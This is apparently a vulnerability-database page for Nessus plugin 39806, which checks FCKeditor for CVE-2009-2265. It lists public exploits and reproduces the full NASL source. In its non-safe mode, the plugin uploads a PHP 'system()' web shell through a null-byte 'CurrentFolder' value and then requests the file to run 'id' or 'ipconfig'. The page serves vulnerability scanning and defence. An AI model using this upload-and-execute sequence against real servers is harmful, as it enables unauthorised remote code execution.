FCKeditor 'CurrentFolder' Arbitrary File Upload - Nessus

High   Plugin ID: 39806

This page contains detailed information about the FCKeditor 'CurrentFolder' Arbitrary File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 39806
Name: FCKeditor 'CurrentFolder' Arbitrary File Upload
Filename: fckeditor_currentfolder_file_upload.nasl
Vulnerability Published: 2009-07-03
This Plugin Published: 2009-07-15
Last Modification Time: 2022-04-11
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, os_fingerprint.nasl
Required KB Items [?]: www/PHP
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2009-07-03
Patch Published: 2009-07-06
CVE [?]: CVE-2009-2265
CPE [?]: N/A

Synopsis

The remote web server contains a PHP application that is affected by an arbitrary file upload vulnerability.

Description

FCKeditor is installed on the remote host. It is an open source HTML text editor that is typically bundled with web applications such Dokeos, GForge, Geeklog, and Xoops, although it can also be installed on its own.

The installed version of the software fails to sanitize input passed to the 'CurrentFolder' parameter of the 'upload.php' script located under 'editor/filemanager/connectors/php'. Provided PHP's 'magic_quotes_gpc' setting is disabled, an attacker may be able to leverage this issue to upload arbitrary files and execute commands on the remote system.

Solution

Upgrade to FCKeditor 2.6.4.1 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the FCKeditor 'CurrentFolder' Arbitrary File Upload vulnerability:

  1. Metasploit: exploit/windows/http/coldfusion_fckeditor
    [ColdFusion 8.0.1 Arbitrary File Upload and Execute]
  2. Exploit-DB: exploits/cfm/webapps/16788.rb
    [EDB-16788: ColdFusion 8.0.1 - Arbitrary File Upload / Execution (Metasploit)]
  3. Exploit-DB: exploits/cfm/webapps/50057.py
    [EDB-50057: Adobe ColdFusion 8 - Remote Command Execution (RCE)]
  4. GitHub: https://github.com/0xkasra/CVE-2009-2265
    [CVE-2009-2265: ColdFusion 8.0.1 - Arbitrary File Upload to RCE]
  5. GitHub: https://github.com/3hydraking/CVE-2009-2265
    [CVE-2009-2265]
  6. GitHub: https://github.com/4n0nym0u5dk/CVE-2009-2265
    [CVE-2009-2265]
  7. GitHub: https://github.com/k4u5h41/CVE-2009-2265
    [CVE-2009-2265]
  8. GitHub: https://github.com/macosta-42/Exploit-Development
    [CVE-2009-2265]
  9. GitHub: https://github.com/persian64/CVE-2009-2265
    [CVE-2009-2265: ColdFusion 8.0.1 - Arbitrary File Upload to RCE]
  10. GitHub: https://github.com/0zvxr/CVE-2009-2265
    [CVE-2009-2265: Cf8-upload.py | CVE-2009-2265]
  11. GitHub: https://github.com/zaphoxx/zaphoxx-coldfusion
    [CVE-2009-2265: Coldfusion exploit based on https://cvedetails.com/cve/CVE-2009-2265/]
  12. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source


This is the fckeditor_currentfolder_file_upload.nasl nessus plugin source code. This script is Copyright (C) 2009-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(39806);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2009-2265");
  script_bugtraq_id(31812);
  script_xref(name:"SECUNIA", value:"35747");

  script_name(english:"FCKeditor 'CurrentFolder' Arbitrary File Upload");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
an arbitrary file upload vulnerability.");
  script_set_attribute(attribute:"description", value:
"FCKeditor is installed on the remote host.  It is an open source HTML
text editor that is typically bundled with web applications such
Dokeos, GForge, Geeklog, and Xoops, although it can also be installed
on its own. 

The installed version of the software fails to sanitize input passed
to the 'CurrentFolder' parameter of the 'upload.php' script located
under 'editor/filemanager/connectors/php'.  Provided PHP's
'magic_quotes_gpc' setting is disabled, an attacker may be able to
leverage this issue to upload arbitrary files and execute commands on
the remote system.");
  script_set_attribute(attribute:"see_also", value:"http://ocert.org/advisories/ocert-2009-007.html");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/archive/1/504721/100/0/threaded");
  script_set_attribute(attribute:"solution", value:
"Upgrade to FCKeditor 2.6.4.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ColdFusion 8.0.1 Arbitrary File Upload and Execute');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");
  script_cwe_id(22);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/07/03");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/07/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/07/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_MIXED_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);

os = get_kb_item("Host/OS");
if(os && "Windows" >< os)
{ 
 cmd = "'cmd /c ipconfig /all'";
 patmatch = "Windows IP Configuration";
} 
else
{
 cmd = "id";
 patmatch = "uid=[0-9]+.*gid=[0-9]+.*";
}

# Loop through various directories.
# /extension/fckeditor/fckeditor - knowledgeroot
# /lists/admin/FCKeditor - PHPlist
# /main/inc/lib/fckeditor - Dokeos

if (thorough_tests) dirs = list_uniq(make_list("/fckeditor", 
                             "/extension/fckeditor/fckeditor", 
                             "/lists/admin/FCKeditor", 
                             "/main/inc/lib/fckeditor", 
		             "/xampp",
                             cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (list_uniq(dirs))
{  
  dir = string(dir, "/editor/filemanager/connectors/php");

  folder_name = str_replace(
    find:".nasl", 
    replace:"-"+unixtime()+".php", 
    string:SCRIPT_NAME
  );

  if (safe_checks())
  {
    url = string(
      dir, "/upload.php?",
      "Command=FileUpload&",
      "Type=File&",
      "CurrentFolder=/", folder_name, "%2e"
    );

    res = http_send_recv3(port:port, method:"GET", item:url);
    if (isnull(res)) exit(0);

    # If it does and is not disabled...
    if (
      "OnUploadCompleted" >< res[2] && 
      "file uploader is disabled" >!< res[2]
    )
    {
      # Try to generate an error message while uploading a file.
      bound = "nessus";
      boundary = string("--", bound);

      postdata = string(
        boundary, "\r\n", 
        # nb: the filename specified here is irrelevant.
        'Content-Disposition: form-data; name="NewFile"; filename=nessus1.txt','\r\n',
        "Content-Type: application/zip \r\n",
        "\r\n",
        '<?php system(', cmd, ");  ?>\r\n",

        boundary, "--", "\r\n"
      );

       req = http_mk_post_req(
        port        : port,
        version     : 11, 
        item        : url, 
        add_headers : make_array(
                        "Content-Type", "multipart/form-data; boundary="+bound
        ),
        data        : postdata
      );

      res = http_send_recv_req(port:port, req:req);
      if (isnull(res)) exit(0);
      
      if (
        egrep(pattern:"OnUploadCompleted *\( *0",string:res[2]) &&
        string(folder_name, ".") >< res[2]
      )
      {
        report = string(
          "\n",
          "The remote FCKeditor install responded with the following error, while trying to upload a file : ",
          "\n\n",
          res[2],"\n\n",
          "Note that Nessus reported this issue only based on the error message because \n",
          "safe checks were enabled for this scan.\n"
        );
        security_hole(port:port, extra:report);
  
        exit(0);
      }
    }
  }
  else
  {
    url = string(
      dir, "/upload.php?",
      "Command=FileUpload&",
      "Type=File&",
      "CurrentFolder=/", folder_name, "%00"
    );
 
    res = http_send_recv3(port:port, method:"GET", item:url);
    if (isnull(res)) exit(0);

    # If it does and is not disabled...
    if (
      "OnUploadCompleted" >< res[2] && 
      "file uploader is disabled" >!< res[2]
    )
    {
      # Try to upload a file to run a command.
      bound = "nessus";
      boundary = string("--", bound);

      postdata = string(
      boundary, "\r\n", 
      # nb: the filename specified here is irrelevant.
      'Content-Disposition: form-data; name="NewFile"; filename=nessus1.txt','\r\n',
      "Content-Type: application/zip \r\n",
      "\r\n",
      '<?php system(', cmd, ");  ?>\r\n",

      boundary, "--", "\r\n"
      );

      req = http_mk_post_req(
        port        : port,
        version     : 11, 
        item        : url, 
        add_headers : make_array(
                        "Content-Type", "multipart/form-data; boundary="+bound
        ),
        data        : postdata
      );

      res = http_send_recv_req(port:port, req:req);
      if (isnull(res)) exit(0);
 
      pat = string('OnUploadCompleted\\( *0, *"([^"]+/', folder_name, ')');
      url2 = NULL;
      matches = egrep(pattern:pat, string:res[2]);
      if (matches)
      {
        foreach match (split(matches, keep:FALSE))
        {
          item = eregmatch(pattern:pat, string:match);
          if (!isnull(item))
          {
            url2 = item[1];
            break;
          }
        }
      }
      if (isnull(url2)) exit(0);

      # Now try to execute the script.
      res = http_send_recv3(port:port, method:"GET", item:url2);
      if (isnull(res)) exit(0);

      if( egrep(pattern:patmatch, string:res[2]))
      { 
        report = string(
          "\n",
          "Nessus was able to execute the command '", cmd, "' on the remote host,\n",
          "which produced the following output :\n",
          "\n",
          data_protection::sanitize_uid(output:res[2])
        );
        security_hole(port:port, extra:report);
        exit(0);
      }
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/fckeditor_currentfolder_file_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\fckeditor_currentfolder_file_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/fckeditor_currentfolder_file_upload.nasl

Go back to menu.

How to Run


Here is how to run the FCKeditor 'CurrentFolder' Arbitrary File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select FCKeditor 'CurrentFolder' Arbitrary File Upload plugin ID 39806.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl fckeditor_currentfolder_file_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a fckeditor_currentfolder_file_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - fckeditor_currentfolder_file_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state fckeditor_currentfolder_file_upload.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: Secunia Advisory: CWE | Common Weakness Enumeration:
  • CWE-22 (Weakness) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
See also: Similar and related Nessus plugins:
  • 39790 - Adobe ColdFusion FCKeditor 'CurrentFolder' File Upload
  • 44701 - Debian DSA-1836-1 : fckeditor - missing input sanitising
  • 39862 - Fedora 10 : moin-1.6.4-3.fc10 (2009-7761)
  • 39866 - Fedora 10 : wxGTK-2.8.10-2.fc10 / Fedora 11 : moin-1.8.4-2.fc11 (2009-7794)
  • 21780 - FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
  • 130263 - Adobe ColdFusion File Upload (APSB18-33) (CVE-2018-15961)
  • 16061 - e107 Image Manager Unauthorized File Upload
  • 69273 - Joomla! 2.5.x < 2.5.14 / 3.x < 3.1.5 .php. File Upload RCE
  • 64470 - Collector Component for Joomla! File Upload RCE
  • 79420 - Creative Contact Form Component for Joomla! File Upload RCE
  • 25736 - Expose for Joomla! File Upload RCE
  • 118310 - jQuery-File-Upload Arbitrary File Upload Vulnerability (Remote Check)
  • 58654 - Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload
  • 22367 - Limbo Contact Component (com_contact) contact.html.php contact_attach Unrestricted File Upload
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82079 - ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 71218 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload
  • 143600 - ManageEngine ServiceDesk Plus < 10.0 Build 10012 Arbitrary File Upload
  • 63638 - MoinMoin twikidraw.py Traversal File Upload Arbitrary File Overwrite
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 47582 - Novell 'modulemanager' Servlet Arbitrary File Upload (safe check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 35261 - OneOrZero Helpdesk tinfo.php Arbitrary File Upload
  • 49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
  • 51119 - Sitefinity CMS Arbitrary File Upload
  • 22303 - TikiWiki jhot.php Arbitrary File Upload
  • 56735 - TimThumb Cache Directory 'src' Parameter Arbitrary PHP File Upload
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 80083 - Visual Mining NetCharts Server Arbitrary File Upload
  • 105732 - Western Digital MyCloud Unauthenticated File Upload
  • 79421 - Creative Contact Form Plugin for WordPress File Upload RCE
  • 76526 - MailPoet Newsletters for WordPress Arbitrary File Upload
  • 105372 - WP Symposium Plugin Arbitrary File Upload
  • 160208 - WSO2 Multiple Products File Upload Remote Command Execution (CVE-2022-29464)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file fckeditor_currentfolder_file_upload.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

Go back to menu.